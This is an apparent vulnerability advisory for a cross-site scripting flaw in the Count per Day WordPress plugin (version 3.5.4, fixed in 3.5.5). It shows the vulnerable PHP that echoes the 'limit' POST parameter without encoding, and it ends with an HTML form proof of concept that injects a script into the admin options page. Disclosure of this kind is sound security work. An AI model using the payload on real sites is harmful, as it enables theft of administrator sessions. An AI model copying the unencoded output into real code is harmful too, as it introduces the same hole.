Abstract
A Cross-Site Scripting vulnerability was found in the Count per Day WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
OVE ID
OVE-20160724-0024
Tested versions
This issue was successfully tested on Count per Day WordPress Plugin version 3.5.4.
Fix
This issue is resolved in Count per Day version 3.5.5.
Introduction
The Count per Day WordPress Plugin shows reads and visitors per page, visitors today, yesterday, last week, last months and other statistics. A Cross-Site Scripting vulnerability was found in the Count per Day WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.
Details
This issue exists in the file counter-options.php and is caused due to the lack of output encoding on the limit POST parameter.
<?php // mass bots ?>
<div class="postbox">
<?php
$limit = (isset($o['massbotlimit'])) ? $o['massbotlimit'] : 25;
$limit = (isset($_POST['limit'])) ? **$_POST['limit']** : $limit;
$limit_input = '<input type="text" size="3" name="limit" value="'.**$limit**.'" style="text-align:center" />';
In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=count-per-day%2Fcounter-options.php" method="POST">
<input type="hidden" name="limit" value=""><script>alert(1);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>